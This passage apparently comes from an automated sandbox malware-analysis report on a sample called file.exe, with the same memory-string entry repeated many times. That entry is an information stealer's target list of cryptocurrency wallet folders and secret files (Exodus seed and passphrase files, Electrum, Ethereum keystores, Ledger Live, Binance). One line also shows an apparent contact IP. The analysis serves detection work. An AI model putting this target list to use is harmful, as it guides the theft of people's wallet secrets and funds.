Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: 185.215.113.16gineer\AppData\Roaming\Binance\.finger-print.fpw
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Chia Wallet\config|2|\.chia\mainnet\config\|*.*|0|Chia Wallet\run|2|\.chia\mainnet\run\|*.*|0|Chia Wallet\wallet|2|\.chia\mainnet\wallet\|*.*|0|Komodo Wallet\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: file.exe, 00000000.00000002.2379261885.00000000005AD000.00000040.00000001.01000000.00000003.sdmp String found in binary or memory: tream Green|1|\Blockstream\Green\wallets\|*.*|1|Wasabi Wallet|1|\WalletWasabi\Client\Wallets\|*.json|0|Ethereum|1|\Ethereum\|keystore|0|Electrum|1|\Electrum\wallets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus\exodus.wallet|1|\Exodus\exodus.wallet\|info.seco|0|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Jaxx Desktop (old)|1|\jaxx\Local Storage\|file__0.localstorage|0|Jaxx Desktop|1|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\|*.*|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|1|\Coinomi\Coinomi\wallets\|*.wallet|1|Coinomi|1|\Coinomi\Coinomi\wallets\|*.config|1|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session 